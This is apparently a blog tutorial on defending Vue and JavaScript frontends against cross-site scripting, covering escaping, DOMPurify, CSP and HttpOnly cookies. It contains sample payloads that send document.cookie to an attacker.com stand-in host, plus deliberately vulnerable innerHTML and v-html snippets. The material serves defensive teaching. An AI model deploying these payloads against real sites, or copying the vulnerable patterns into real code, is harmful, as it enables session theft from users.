Skip to content
⚠️ This article was written in 2018. Some content may be outdated.

Frontend Security: XSS Defense Guide

XSS (Cross-Site Scripting) is one of the most common frontend security vulnerabilities. This article systematically covers everything from attack mechanisms to defense strategies.

The Three Types of XSS ​

Stored XSS ​

An attacker stores a malicious script in the database, which executes when other users visit the page:

Attacker submits a comment: <script>document.location='http://attacker.com/steal?c='+document.cookie</script>

Server saves it to the database
↓
Other users load the comment list
↓
Browser executes the script, sending cookies to the attacker's server

Most damaging, because every user who visits the page is affected.

Reflected XSS ​

The malicious script is embedded in a URL and the user is tricked into clicking it:

Normal URL:   https://example.com/search?q=frontend
Malicious URL: https://example.com/search?q=<script>alert(document.cookie)</script>

The server injects the q parameter directly into HTML:
<p>Search results: <script>alert(document.cookie)</script></p>

DOM-Based XSS ​

The attack happens on the client side without going through the server:

javascript
// Dangerous code: directly inserts URL parameters into the DOM
const query = location.search.substring(1);
document.getElementById("result").innerHTML = "Search: " + query;

// Attack URL: ?<img src=x onerror=alert(document.cookie)>

Defense Strategies ​

1. Output Encoding (The Basics) ​

Never insert user input directly into HTML. Use an escape function:

javascript
function escapeHTML(str) {
  return str
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#x27;");
}

// Usage
element.textContent = userInput; // ✅ safe — browser escapes automatically
element.innerHTML = escapeHTML(userInput); // ✅ manually escaped

element.innerHTML = userInput; // ❌ dangerous!

Vue's {{ }} template interpolation automatically escapes text content, making it safe by default:

vue
{% raw %}
<template>
  <!-- ✅ Safe: auto-escaped -->
  <p>{{ userComment }}</p>

  <!-- ❌ Dangerous: v-html does NOT escape -->
  <p v-html="userComment"></p>
</template>
{% endraw %}

2. Safe Use of v-html ​

If you truly need to render HTML (e.g. rich text), you must sanitize it first:

javascript
import DOMPurify from "dompurify";

// Configure allowed tags and attributes
const clean = DOMPurify.sanitize(dirtyHTML, {
  ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "ul", "ol", "li"],
  ALLOWED_ATTR: ["href", "target"],
});
vue
<p v-html="sanitizedContent"></p>

3. CSP (Content Security Policy) ​

Tell the browser via an HTTP response header which resource origins are allowed:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-xxx';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com

Even if XSS code is injected, CSP prevents the malicious script from loading and executing.

Nginx configuration:

nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self'";

Set session tokens to HttpOnly so they cannot be read by JavaScript:

Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=Strict

Even if XSS occurs, attackers cannot steal the token via document.cookie.

5. Input Validation ​

Frontend validation is only an aid; real validation must happen on the server side. However, the frontend should also:

javascript
// Rich text editors: restrict allowed HTML tags
// URL parameters: validate format, reject javascript: protocol
function isSafeURL(url) {
  try {
    const parsed = new URL(url);
    return ["http:", "https:"].includes(parsed.protocol);
  } catch {
    return false;
  }
}

// ❌ javascript:alert(1)  → rejected
// ✅ https://example.com   → allowed

A Real-World Incident ​

Case: Search Box Reflected XSS

vue
<!-- ❌ Displaying URL parameters directly with v-html, without escaping -->
<template>
  <p v-html="'Search: ' + $route.query.keyword"></p>
</template>

Attack URL: ?keyword=<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">

Fix:

vue
{% raw %}
<!-- ✅ Use text interpolation — auto-escaped -->
<template>
  <p>Search: {{ $route.query.keyword }}</p>
</template>
{% endraw %}

Defense Checklist ​

  • [ ] Avoid using innerHTML; prefer textContent
  • [ ] Use v-html in Vue with caution — always sanitize first
  • [ ] Server-side: HTML-escape all output
  • [ ] Configure a CSP response header
  • [ ] Set session cookies to HttpOnly + Secure
  • [ ] Validate URL protocol before using URL parameters

Summary ​

The core principle of XSS defense: never trust user input, and always escape on output. CSP and HttpOnly are additional defense layers that limit damage if something goes wrong.

MIT Licensed